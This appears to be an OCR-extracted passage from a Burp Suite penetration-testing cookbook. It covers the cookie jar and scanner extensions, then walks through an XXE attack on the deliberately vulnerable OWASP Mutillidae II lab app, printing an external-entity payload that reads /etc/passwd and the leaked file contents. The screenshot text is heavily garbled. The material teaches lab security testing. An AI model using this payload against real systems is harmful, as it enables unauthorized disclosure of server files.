| Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I[ Project options ] User opticns T Alerts ]

[ connections | HTTP | ssi [ sessions [| misc |

Session Handling Rules

You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular t
in to the application, or checking sessien validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the requ

® &

—

Add | Enabled | Description | Tools
€] Use cookies from Burp's cockie jar Spider and Scanner

di
Remove
Duplicate

Up

Down

I

To moniter or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each ru

Open sessions tracer

Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain
control how Burp automatically updates the cookie jar based on traffic from particular tools.

®

Monitor the following tools' traffic to update the cookie jar:

& Proxy () Scanner [ Repeater (¥ Spider
J Intruder ) Segquencer [_] Extender

h Open cookie jar |
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2. A new pop-up box appears. Since we have no proxied traffic yet, the cookie jar is
empty. Let's target an application and get some cookies captured, as follows:

. FaP ™ - -

— I:‘ 4

Domain

| Path

| Name

| Value

|Expires | |  Editcookie |

Remove cookie
Empty cookie jar

Close

3. From the OWASP Landing page, click the link to access the GetBoo application,

as follows:

OLD (YVULNERABLE) VERSIONS OF REAL APPLICATIONS

E‘?;"7"\1'«"{:1-:1 Press

@GctBoo

f_"l' Yazd

G.’z‘ Gallery2

'@'Jﬂomla

@ OrangeHRM
@ GTD-PHP
€3 WebCalendar
© Tiki Wiki

€ Awstats

4. Click the Login button. At the login screen, type both the username and
password as demo, and then click the Log In button.

[284]




Working with Burp Macros and Extensions Chapter 10

5. Return to the Burp Cookie Jar. You now have three cookies available. Each cookie
has a Domain, Path, Name, and Value identified, as follows:

'f Cookie jar viewer 0 X

A

Dromain Path | Hame Walue | Expires Edit cookie
192.168.56.1...

PHPSESSID wwvBrh7ueelvgrmsribgsSiph3
192.168.56.1... acopendividls  swingset jotto, phpbb2, redmine Remove cookie

192.168.56.1... acgroupswit... nada
Empty cookie jar
Close

6. Select the last cookie in the list and click the Edit cookie button. Modify the value
from nada to thisIsMyCookie and then click OK, as follows:

W~ Lin arlitr %
‘, LOOKIe edltol N\

Domain: 192.168.56.101

Path:

Name: acgroupswithpersist

Value: |thislsr.1ytlu okie |
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7. The value is now changed, as follows:

4 Cookie jar viewer — | X
Domain | Path | Name | Value Expires t Edit cookie J
192.168.56.1... PHPSESSID vvvBrh7ueelvgrmérfbgsSiph3
192.1568.55.1... acopendivils _swingset jotto, phpbb2 redmine [ Remove cookie j
192.168.56.1... acgroupswit... |this|sm~_.rcc-okie .

[ Empty cookie jar j
Close

8. The default scope for the Burp Cookie Jar is Proxy and Spider. However, you
may expand the scope to include other tools. Click the checkbox for Repeater, as

follows:

Cookie Jar

@& (]

Monitor the following tools’ traffic to update the cookie jar:

& Proxy [J Scanner ) sSpider

) Intruder |_J Sequencer |_| Extender

{ Open cookie jar j

Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session
control how Burp automatically updates the cookie jar based on traffic from particular tools.

Now, if you create a new session-handling rule and use the default Burp Cookie Jar, you

will see the new value for that cookie used in the requests.
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How it works...

The Burp Cookie Jar is used by session-handling rules for cookie-handling when
automating requests against a target application. In this recipe, we looked into the Cookie
Jar, understood its contents, and even modified one of the values of a captured cookie. Any
subsequent session-handling rules that use the default Burp Cookie Jar will see the
modified value in the request.

Adding great pentester plugins

As web-application testers, you will find handy tools to add to your repertoire to make
your assessments more efficient. The Burp community offers many wonderful extensions.
In this recipe, we will add a couple of them and explain how they can make your
assessments better. Retire.js and Software Vulnerability Scanner are the two plugins, these
two plugins are used with the passive scanner.

0 Note: Both of these plugins require the Burp Professional version.

Getting ready

Using the OWASP Mutilliae II application, we will add two handy extensions that will help
us find more vulnerabilities in our target.

How to do it...

1. Switch to the Burp Extender tab. Go to the BApp Store and find two
plugins—Retire. js and Software Vulnerability Scanner. Click the

Install button for each plugin, as follows:
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BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, o extend Burp's capabilties.

Name | Installed Rating Popularty | Lastupdated | Detal | |

Reflected Fie Download Chec. rirvre’ 1 24 Jan 2017 0 Retire.js

:‘:z::“;:;’:f‘s"c’;m : ;: x‘; ;::; Cesioo This extension integrates Burp with the Retire,js reposiory to find vuinerable JavaScript ibraries.

Replicator — 15 Feb 2018 it passively looks at JavaScript files loaded and identifies those which are vuinerable based on various signature

Report To Elastic Search I 1 10 May 2017 Pro extension types (URL, fiename, file content or specific hash).

Request Highlighter r — 23Jul2018

Request Minimizer 1 25 Jun 2018 Author:  Philppe Arteau

Request Randomizer — 24 Jan 2017 Version: 231

Request Timer 1 08 Nov 2017

Response Chasterer 4 06 Feb 2017 Source:  https qithub comiportswiggerretire-is
[ Ef;u J | 29Jun201e _ Proexensiod Updated: 29 Jun 2018

Reverse Proxy Detector — 13 Feb 2017

Same Origin Method Execution i 26 Jan 2017 Rating: Y7 TrirTs Submit rating

SAML Editor { 01.Jul 2014 3

SAML Encoder / Decoder - 01Ju12014 Popularity: |

SAML Raider 1 04 Nov 2016

SAMLReQuest — 06 Feb 2017

Scan Check Buider 1 08 Jun 2018 Pro extension

Scan manual insertion point — 24 May 2017

Sentinel i 10 Apr 2017 Pro extension

Session Auth —t 24 Jan 2017 Fro extension

Session Timeout Test i 01 Jul 2014

Session Tracking Checks — 05 Jan 2018 Pro extension

Similar Request Excluder i 20 Jun 2018

Site Map Extractor — 01 Mar 2018

Site Map Fetcher 1 22 Jan 2015

Software Version Reporter | 08Feb2018 Fro extension w

2. After installing the two plugins, go to the Extender tab, then Extensions, and
then the Burp Extensions section. Make sure both plugins are enabled with check
marks inside the check boxes. Also, notice the Software Vulnerability Scanner
has a new tab, as follows:

[Target I Proxy I Spider T Scanner I Intruder I Repeater T Sequencer I Decoder I Software Vulnerabilty Scanner I

_[ Extensions T BApp Store I APls I Options ]

Burp Extensions

Extensions let you customize Burp's behavior using your own or third-party code.
L Add | ' Loaded | Type | Name
_ €] Java Retire.js
L Remove | &4 Java Software Vulnerability Scanner

Up |

[ Down J
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3. Return to the Firefox browser and browse to the Mutillidae homepage. Perform a
lightweight, less-invasive passive scan by right-clicking and selecting Passively
scan this branch, as follows:

_[ Target T Proxy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Exter

Site map | Scope

Fitter: Hiding out of scope and not found items; hiding CSS, image and general binary content;, hiding 4xx respol
¥ [ o hitp:A1192.168.56.101 Contents
["o mutilidae .
Y [ & http:/1192.168.56.104/mutillidae ot |-Metbod__{UB1
» [ docu Remove from scope p:ff192 168.56.101 GET fmut
[0 frame h:M192.168.56.101 GET fmut
e [0 includ Spider this branch 1192 16855101 GET fmut
» = index Activehy scan this branch AM92.168.56.101 GET Imut
[ javas J4M92.168.56 101 GET fmut

4. Note the additional findings created from the two plugins. The Vulners plugin,
which is the Software Vulnerability Scanner, found numerous CVE issues, and
Retire. js identified five instances of a vulnerable version of jQuery, as follows:
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Issues
N CTCOT TG SO OISO O POSS vroTd
* ! File path traversal [2]
! ¥Path injection
! [Vulners] Vulnerable Software detected
{0 Vulnerable version of the library jguery’ found [5]
) imutilidaefjavascript'ddsmoothmenujguery. min.js
) imutilidaefjavascript'ddsmoothmenujguery. min.js
) imutilidaefjavascriptjQueryjguery.js
) imutilidaefjavascriptjQueryjguery.js
) imutilidaefjavascriptjQueryjguery.js
Password field with autocomplete enabled
* Client-zide HTTP parameter pollution (reflected) [2]
Input returned in rezponzse (reflected) [9]
Cross-domain Referer leakage [3]

¥
e

_[ Advisory T Request T Response ]

! [Vulners] Vulnerable Software detected

lzzue: [Vulners] Vulnerable Software detected
Severity: High

Confidence:  Firm

Host: http:192.168.56.101

Path: Imutillidae/

Note: This izsue was generated by a Burp extension.

Issue detail
The fellowing vulnerabilties for software OpenS5sL, headers - 0.9.8k found:

@ OPEMSSL:CVE-2014-0224 - 6.8 - Vulnerability in OpenS5SL
[CVE-2014-0224)
An attacker can force the use of weak keying material in
OpenSSL S5LTLS clients and servers. This can be exploited by a
Man-in-the-middle (MITM) attack where the attacker can decrypt
and modify traffic from the attacked client and server. Reported
by KIKU...
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How it works...

Burp functionality can be extended through a PortSwigger API to create custom extensions,
also known as plugins. In this recipe, we installed two plugins that assist with identifying
older versions of software contained in the application with known vulnerabilities.

Creating new issues via the Manual-Scan
Issues Extension

Though Burp provides a listing of many security vulnerabilities commonly found in web
applications, occasionally you will identify an issue and need to create a custom scan
finding. This can be done using the Manual-Scan Issues Extension.

0 Note: This plugin requires the Burp Professional edition.

Getting ready

Using the OWASP Mutillidae II application, we will add the Manual Scan Issues Extension,
create steps revealing a finding, then use the extension to create a custom issue.
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How to do it...

1. Switch to the Burp Extender tab. Go to the BApp Store and find the plugin
labeled Manual Scan Issues. Click the Install button:

BApp Store
The BApp Store containg Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.
Name | Installed | Rating | Popularity | Last updated | Detail \
JSUN Beautifier L ) T U3 0ctZuTr
JSON Decoder — 24 Jan 2017
JSON Web Token Attacker —A 22 Nov 2017
JSON Web Tokens — 03 May 2018
JSWS Parser — 15 Feb 2017
JWM Property Editor —1 24 Jan 2017
Kerberos Authentication — 30 Aug 2017
Lair =) 25 Jan 2017 Pro extension
Length Extension Attacks oot —1 25 Jan 2017
LightBulb WAF Auditing Frame... 1 —1 22 Jan 2018
Logger++ UEUet — 21 May 2018
| Manual Scan Issues | g x — 23 May 2017 Pro extension

2. Return to the Firefox browser and browse to the Mutillidae homepage.

3. Switch to the Burp Proxy | HTTP history tab and find the request you just made
browsing to the homepage. Click the Response tab. Note the overly verbose
Server header indicating the web server type and version along with the
operating system and programming language used. This information can be used
by an attacker to fingerprint the technology stack and identify vulnerabilities that
can be exploited:

[ Jpemre |

e o L e

HTTP/1.1 200 OK

Date: Thu, 13 Sep 2018 15:55:03 GHT

Server: Apache/Z.c. 14 (Ubuntu) mod mono/.4.3 PHP/6.3.C-lubuntud.30 with Suhosin-Patch proxy heml/3.0.1 mod pychon/s. 3.1 Pychon/c.6.5 mod ssl/o.0.14 OpensSL/0.5.6k |
Phusion_Passenger/4.0.38 mod perl/2.0.4 Perl/vs.l0.1
Expires: Mon, 2& Jul 1997 05:00:00 GHT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, no-caches"set-cookis"
Pragma: no-cache

Logged-In-User:

X-FRAME-OPTIONS: DENY

Last-Modified: Thu, 13 Sep 2018 15:55:03 GHT

Vary: Accept-Encoding

Content-Length: 45734

Connection: close

Content-Type: texc/html
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4. Since this is a finding, we need to create a new issue manually to capture it for
our report. While viewing the Request, right-click and select Add Issue, as
follows:

# 4 Host Method | URL | Params | Edited | Status Length

UphotificationCode=HPHO ' 200 46345

103 http://192.168.56.101 GET Imutilidae/ind 7pag: hp&
|-

Request | Response

Raw | Params Headers Hex

CET fmutillidae/index.php?page=home.phpépopUpNotificationCode=HFHO HTTF/1.1

Host: 192.1E8.5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0,; Win€4, x€4; rv:6l.0) Geckos/I0l00l0l Firefox/6l.0
Accept: text/htul,application/xhtml+xml,applicatiopfesml cee=0 © #J/% - p=0_0

Accept-Language:
Accept-Encoding:

en-US,en;q=0.5
gzip, deflate

Send to Spider
Do an active scan

Referer: hrep://1l92_1€8.56.101/mucillidae/index. phy

fonCode=LOU1

Cookie: showhints=0; PHPSESSID=vvvérhTueelvqrmérfhq Do a8 passive scan

Conneccion: close Send to Intruder Ctrl+l
Upgrade-Insecure-Requests: 1 Send o Repeater Ciri+R
Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser >

otto,phpbbl,rednine; acgroupswithpersist=nada

5. A pop-up dialog box appears. Within the General tab, we can create a new issue
name of Information Leakage in Server Response.Obviously, you may
add more verbiage around the issue detail, background, and remediation areas,
as follows:
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J_[ General ’| HTTP Request T HTTP Respnnse]

Issue Name:

Information Leakage in Server Response

Issue Detail:

Enter Issue Detail...

Issue Background:

Enter lssue Background...

Remediation Background:

Enter Remediation Background...

Remediation Detail:

Enter Remediation Detail...

URL (path = http://domain/path):

hitp://192.168.56.101:80/mutilidae/index. php?page=home.php&popUpNotificationCode=HPHO

Port:

80

Confidence:

l Certain

Severity:

[ High

Protocol:

[HTTP

Import Finding
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6. If we flip to the HTTP Request tab, we can copy and paste into the text area the
contents of the Request tab found within the message editor, as follows:

[ General || HTTP Reguest | HTTP Response ]

HTTP Request:

GET /mutilidas/index. php?page=home.php&popUpNotificationCode=HPHO HTTP/1.1

Host 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/51.0
Accept: text/html, application/xhtml+xml application/xml,g=0.9 **g=0.3

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutilidaelindex. php?page=login.php&popUpNotificationCode=L0OU1
Cookie: showhints=0; PHPSESSID=vvvBrh7ueelvgrmérfbg6Siph3; acopendivids=swingset jotto,phpbb2, redmine; acgroupswithpersi
st=nada

Connection: close

Upgrade-Insecure-Requests: 1

7. If we flip to the HTTP Response tab, we can copy and paste into the text area the
contents of the Response tab found within the message editor.

8. Once completed, flip back to the General tab and click the Import Finding
button. You should see the newly-created scan issue added to the Issues
window, as follows:
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Issues

0 Cleartext submission of password
0 Informatien Leakage in Server Rezponse

Advisory T Request I Response ]

0 Information Leakage in Server Response

lzsue: Information Leakage in Server Response
Severity: High

Confidence: Certain

Host: http:/192.168.56.101

Path: Imutillidaelindex.php

Note: This issue was generated by a Burp extension.

Issue detail

Enter Issue Detail ..

Remediation detail

Enter Remediation Detail...

Issue background
Enter Issue Background...
Remediation background

Enter Remediation Background...

How it works...

In cases where an issue is not available within the Burp core issue list, a tester can create
their own issue using the Manual-Scan Issue Extension. In this recipe, we created an issue
for Information Leakage in Server Responses.

See also

For a listing of all issue definitions identified by Burp, go to https://portswigger.net/kb/

issues.
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Working with the Active Scan++ Extension

Some extensions assist in finding vulnerabilities with specific payloads, such as XML, or
help to find hidden issues, such as cache poisoning and DNS rebinding. In this recipe, we
will add an active scanner extension called Active Scan++, which assists with identifying
these more specialized vulnerabilities.

Note: This plugin requires the Burp Professional edition.

Getting ready

Using the OWASP Mutillidae II application, we will add the Active Scan++ extension, and
then run an active scan against the target.

How to do it...

1. Switch to the Burp Extender | BApp Store and select the Active Scan++
extension. Click the Install button to install the extension, as follows:

[Target T Proxy I Spider T Scanner I Intruder T Repeater T Sequencer I Decoder T Comparer TExtender | Projec

|. Extensions | BApp Store ] APls T Options 1

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

Name | Installed | Rating | Popularity | Last updated | Detail
NET Beautifier ATrrTrTr —1 23 Jan2017
| Active Scan++ | o — 04 Sep 2018 Pro extension

2. Return to the Firefox browser and browse to the Mutillidae homepage.
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3. Switch to the Burp Target tab, then the Site map tab, right-click on the
mutillidae folder, and select Actively scan this branch, as follows:

JTarget T Proxy T Spider T Scanner T Intruder I Repeater I Sequenc

| Site map | Scope

Filter: Hiding out of scope and not found tems; hiding empty folders

¥ | @ hitp://192.168.56.101
[ mutilidae
> Gl [ @ http:/192.168.56.101/mutillidae
» [0 documentatio
[ framer htmi -
» [p images Spider this branch
» [g includes Actively scan this branch

Content

Remove from scope

4. When the Active scanning wizard appears, you may leave the default settings
and click the Next button, as follows:

h! Active scanning wizard — O X

EJ ou have selected 204 items for active scanning. Before continuing, you can use the filters below to remove certain categories of
= items, to make your scanning more targeted and efficient.

[ Remove duplicate tems (same URL and parameters) [112 items]

[] Remove items already scanned (same URL and parameters) [156 items]

Remove out-of-scope items [0 items

] Remove items with no parameters [57 items]
[ Remove items with media responses [4+ items]

[J Remove items with the following extensions [45 items]

[s.0if jpg,png, css

Note: Some of the selected tems do not yet have responses. If you choose to remove items with media responses, some of these

items may be removed from the scan when their responses have been analyzed.
Cancel Next

Follow the prompts and click OK to begin the scanning process.
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5. After the active scanner completes, browse to the Issues window. Make note of
any additional issues found by the newly-added extension. You can always tell
which ones the extension found by looking for the This issue was generated by
the Burp extension: Active Scan++ message, as follows:

Issues
[ Wy PaESWOTT TIER WIN SUTOCOMpPIETE ENaniey
Arbitrary host header accepted

J Advisory T Request 1 T Response 1 T Request 2 T Response 2 1

Arbitrary host header accepted l Compare responses J

Izzue: Arbitrary host header accepted
Severity: Low

Confidence: Certain

Host: http://192.168.56.101

Path: Imutillidae/index.php

Note: This issue was generated by the Burp extension: Active Scan++.

Issue detail

The application appears to be accessible using arbitrary HTTP Host headers.

This is a serious issue if the application is not externally accessible or uses IP-based
access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall
based access restrictions that may be in place, by proxying through their target's
browser.

Note that modern web browsers’ use of DNS pinning dees not effectively prevent this
attack. The only effective mitigation is server-side:

hitps://bugzilla. mozilla.org/show_bug.cgi?id=589835#c13

Additionally, it may be possible to directly bypass poorly implemented access
restrictions by sending a Host header of localhost’

How it works...

Burp functionality can be extended beyond core findings with the use of extensions. In this
recipe, we installed a plugin that extends the Active Scanner functionality to assist with
identifying additional issues such as Arbitrary Header Injection, as seen in this recipe.
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Implementing Advanced Topic
Attacks

In this chapter, we will cover the following recipes:

¢ Performing XML External Entity (XXE) attacks

e Working with JSON Web Token (JWT)

¢ Using Burp Collaborator to determine Server-Side Request Forgery (SSRF)
Testing Cross-Origin Resource Sharing (CORS)

Performing Java deserialization attacks

Introduction

This chapter covers intermediate to advanced topics such as working with JWT, XXE, and
Java deserialization attacks, and how to use Burp to assist with such assessments. With
some advanced attacks, Burp plugins provide tremendous help in easing the task required
by the tester.

Software tool requirements

In order to complete the recipes in this chapter, you will need the following;:

o OWASP Broken Web Applications (BWA)
o OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
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Performing XXE attacks

XXE is a vulnerability that targets applications parsing XML. Attackers can manipulate the
XML input with arbitrary commands and send those commands as external entity
references within the XML structure. The XML is then executed by a weakly-configured
parser, giving the attacker the requested resource.

Getting ready
Using the OWASP Mutillidae II XML validator page, determine whether the application is
susceptible to XXE attacks.

How to do it...

1. Navigate to the XML External Entity Injection page, that is, through Others |
XML External Entity Injection | XML Validator:

< c Q‘ @ 192.168.56.101/mutillidae/index.php?page=xml-validator.php b w

@ OWASP Mutillidae Il: Web Pwn in Mass Prod\

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View

.
| XL Validator

OWASP 2010
S I
|

Hints
Client-side "Security" Controls Please Enter XML to Validate
e E LU AL C AR < o mexmi><message>Hello World</message></some

Documentation 3
Framing)

Resources Unrestricted File Upload

XML External Entity Injection ¥ | XML Validator
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2. While on the XML Validator page, perform the example XML that is provided
on the page. Click on the Validate XML button:

[

XML Validator

Ca Back Q Help Me!

Hints

[ Please Enter XML to Validate

)

Example: <somexml><message>Hello World</message></somexml>

XML

XML Submitted

( validate XML |

<somexml><message>Hello World</message></somexml>

Text Content Parsed From XML
Hello World
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3. Switch to Burp Proxy| HTTP history tab and look for the request you just
submitted to validate the XML. Right-click and send the request to the repeater:

-Tamet Proxy | Spider | Scanner | Intruder | Repeater Iswuenwr i Decoder ] Comparer I Extender I Project options. T User options. ] Alerts | JSON Beautifier TJSUN Web Tokens | Javal
[hnm:ept HTTP history | WebSockets history | Options

‘ Fiter: Hiding CSS, image and general binary content

‘ # | Host Method | URL | Para.. & |Edied |Stalus |Length |MMEtype |Exiension |Tile
169 http:/1192.168.56.101 GET imutilidaefindex. php?page=xml-validator phpSxmi=9%... v 200 47823 HTML php
<L

Request | Response
Raw ParlmIHuders Hex

GET /mucillidae/index php?page=xml-validator php&xml=t05$3Csomexmls3Et3Cmessaget3EHello+Worlds3Cs Fnessaget3Es3Ct  Fsomexnlt3E+axnl-validator—php-|
HTTE/1.1
Host: 192.1€8.56.101 Send to Spider
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:él.0) Gecko 20100101 Firefox/E1.0 Do an active scan
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 LoGrzeiises

P gquag: LB
hecept-Encoding: gzip, deflate Send to Intruder Criel
Referer:
htto: //192_1£3. 56_101/mutillidas/index. pholnage=xnl-—validator . vhosxml=%3C33Fxnliversiont D221,

o

Send to Repeater

4. Note the value provided in the xm1 parameter:

Go Cance < | >

Request

_[ Raw T Params T Headers T Hex ]

GET

JSmutillidae/index php?page=xml-validator php&xm]l=%059%3Csonexml $3E%3Cnessaget3EHal1l0
tWorlds3Cs 2 Fnessage 3E33CE 2 Fsomexml $ 3+t ml —validator-php-subnit-button=Validate+xI
L HTTP/s1.1

Host: 192 168.5&8.101

User-Agent: Mozillas5.0 (Windows NT 10.0; Wingd; x&4; rv:£l.0) Gecko/Z0100101
Firefox/61.0

Aocept: text/html, application/xhtml+txml] , application/mml;gq=0_5 */*;q=0_8
Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Referer:

htotp: /192 168, 56. L0 /mutillidae//index_ phplpage=smml-validator. phpixmnl=%3C%3Fumnltvers
ion¥3D%221 0% 2% 3F%3E30D%0A%09%3C2 21DOCTYPE+change—1og+3 5B 0D 0A%09%09%3CE21ENTITY +
systenEntity+STSTEM+E22 . (%2F. _%2F. %2F. % CFetctlFpasswdi 223 3E50D%0A%059% 5D 3EX0D%0A%
09%3Cchange-logy 3Es0D30A% 09509 3Ctext 3 3ES 2EsystenEnt ity 3B 30 2Fcext s ZER 0D 0A%05% 3C
$Z2Fchange-log¥3Eixml-validator-php-subnit-button=Validat e+*I1L

Cookie: showhints=1; PHPSESSID=dcudlotlk7fvglihllped44Sivrol;
acopendivids=swingset,jotto,phphhl,rednine; acgroupswithpersist=nada

Comnection: close

Tpgrade-Insecure-Fequests: 1
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5. Use Burp Proxy Interceptor to replace this XML parameter value with the
following payload. This new payload will make a request to a file on the
operating system that should be restricted from view, namely, the /etc/passwd
file:

<?xml version="1.0"7?>
<!DOCTYPE change-log]|
<!ENTITY systemEntity SYSTEM "../../../../etc/passwd">
1>
<change-log>
<text>&systemEntity;</text>
</change-log>

Since there are odd characters and spaces in the new XML message, let's type this
payload into the Decoder section and URL-encode it before we paste it into the
xml parameter.

6. Switch to the Decoder section, type or paste the new payload into the text area.
Click the Encode as... button and select the URL option from the drop-down

listing. Then, copy the URL-encoded payload using Ctrl + C. Make sure you copy
all of the payload by scrolling to the right:

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer I Decoder I

<7xml version="1.0"7?=
<IOCTYPE change-log [
<IENTITY systemEntity 5 STEM =0 1. J Jetc/passwd™=
1=
=change-log=
<text-&systemEntity,<ftext-
=/change-log=

Y IctIMeTE%ed%sc 20 TE%E5% T2% T 3698 Mebetn 3d %22 %31 2e% 3022 %3

[ [ K
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7. Switch to the Burp Proxy Intercept tab. Turn the interceptor on with
the Intercept is on button.

8. Return to the Firefox browser and reload the page. As the request is paused,
replace the current value of the xm1 parameter with the new URL-encoded

payload:

[ Target [ ooy [ Seiter [ eanner | iaruser | nupester | sequencer [ Decoter | comparer | Extener | Projct options | User optins | alerts | 1SN Besustise | 150N Web Toksns | Java Seral Kaer |

| [srsent | TP bistory | WebSockets tatory | optons |

o) Request io hiipNIS2 168.56.101:80
I " (22l (7]

_ Fows || Ome bierceptmon | Acton L]
im- params | Hessers | hex |
i1
s 1101 dRe7 InAeT PRPTpATe Tal v Al 1A o PR LAAl-NICVIEY TVIETERTIY U L BT TVE TS o
£V ZELESA TALEINZENTONELN I TINTTLE AV 20 Dab 091 S8 Teh O 0F1 JcH 630 EONELL EmV ETVESAZ
-walidator-php-submit-bucton=Validat e L

184 AVASVEANETAIONTINTINT I TS AN 450 Ead TANETN TARTIN ZONE TN ETNSTUEANA VA TOIIN Zen Zud TER A TeA T4 Zeh A ZEN D,
S 6cAE #0671 300 0a0051 05031 THESN THNT 44 04 261 TINTINTINTANESN GV 450 00 T4VE5 T4ATIIBA B ZENTANE5NT0N T40I1 0aNDSY e 2 FLEINEONEIN G0N TA 52N Vi E1ET0 Tur .
WITP/L.1

0100101 Firefox/eL.0

1-walidator. phpiral=dddizel-validator-php-subnic-buccon=Validate 00
acopendivids=swingses,Jocto, phpbbs, reduine; acgroupswithpersistenada

&.101/mucillidas/ index. phpTpages:
SESSID=AcudZotkT tvqlihllpcddsiral;

Upqgrade-Insecure-Requests: 1

9. Click the Forward button. Turn interceptor off by toggling the button to

Intercept is off.
10. Note that the returned XML now shows the contents of the /et c/passwd file!
The XML parser granted us access to the /etc/passwd file on the operating

system:
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Hints

( Please Enter XML to Validate ]

Example: <somexml><message>Hello World</message></somexml|>

XML

XML Submitted

<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../..
/etc/passwd"> ]> <change-log> <text>&systemEntity;</text> </change-log>

Text Content Parsed From XML

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false landscape:x:104:122::/var/lib/landscape:
/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL
administrator,,,:/var/lib/postgresqgl:/bin/bash messagebus:x:107:114::/var/run/dbus:/bin/false
tomcat6:x:108:115::/usr/share/tomcat6:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false haldaemon:x:110:119:Hardware abstraction
layer,,,:/var/run/hald:/bin/false pulse:x:111:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false
postfix:x:112:123::/var/spool/postfix:/bin/false

How it works...

In this recipe, the insecure XML parser receives the request within the XML for the
/etc/passwd file residing on the server. Since there is no validation performed on the
XML request due to a weakly-configured parser, the resource is freely provided to the
attacker.
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Working with JWT

As more sites provide client API access, JWT are commonly used for authentication. These
tokens hold identity and claims information tied to the resources the user is granted access
to on the target site. Web-penetration testers need to read these tokens and determine their
strength. Fortunately, there are some handy plugins that make working with JWT tokens
inside of Burp much easier. We will learn about these plugins in this recipe.

Getting ready

In this recipe, we need to generate JWT tokens. Therefore, we will use the OneLogin
software to assist with this task. In order to complete this recipe, browse to the OneLogin
website: https://www.onelogin.com/. Click the Developers link at the top and then click
the GET A DEVELOPER ACCOUNT link (https://www.onelogin.com/developer—

signup).

After you sign up, you will be asked to verify your account and create a password. Please
perform these account setup tasks prior to starting this recipe.

Using the OneLogin SSO account, we will use two Burp extensions to examine the JWT
tokens assigned as authentication by the site.

How to do it...

1. Switch to Burp BApp Store and install two plugins—]JSON Beautifier and JSON
Web Tokens:
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[ Target I Proxy I Spider I Scanner T Intruder T Repeater I Sequencer T Decoder I Comparer I Extender I Project

[ Extensions I BApp Store | APls I Options ]

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilties.

Name | Installed | Rating Popularity | Last updated | Detail
U R DI U T T e . e

Java Serial Killer R g & 30 Jan 2017 :
Java Serialized Payloads 1 06 Feb 2017

JCryption Handler 1 14 Jul 2017

| JSON Beautifier v T 1 03 0ct2017]

JSON Decoder Ty 24 Jan 2017

JSON Web Token Attacker 7 22 Nov 2017

JSON Web Tokens Vi O 03 May 2018

2. In the Firefox browser, go to your OneLogin page. The URL will be specific to the
developer account you created. Log in to the account using the credentials you
established when you set up the account before beginning this recipe:

e

< Cc @ ® @ https://sunshine-solutions-llc-dev.onelogin.com/login2/ e @ 2| IN @

onelogin

Username

Forgot Password
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3. Switch to the Burp Proxy | HTTP history tab. Find the POST request with the
URL /access/auth. Right-click and click the Send to Repeater option.

4. Your host value will be specific to the OneLogin account you set up:

Targe! | Proxy | Spider | Scanner | htruder | Repeater ] Segquencer TDe:oder Tcomrer TEther TPmpclomna Tl.lser optons ] Alerts TJSON Beautifier TJSON Wieb Tokens ]
ntercept | HTTR history | websockets istory ;

Fiter: Hiding €SS, image and general binary content

#  &|Host | Method | URL Params | Ecited Stalus | Length | MINE type | Bxtension | Tie | Comment

Contains a JWT

145 hitps:ifsunshine-solutions-ic-dev.onelogn.com 05T faccessiauth o 1056 JSON

e o]
Raw | Headers | Hex T JSON Beautifier T JSON Web Tokens }

HTTP/L.1 200 oK

Cache-Control: max-age=0, private, must-revalidate .
) B _ Send to Spider

Concent-Type: application/ison; charset=uci-8

Date: Fri, 14 Sep 2018 10:38:10 GMT Do an active scan

ETag: ¥/"5c12399abeZebSb77c5371cA5b1le0763" Do passive scan

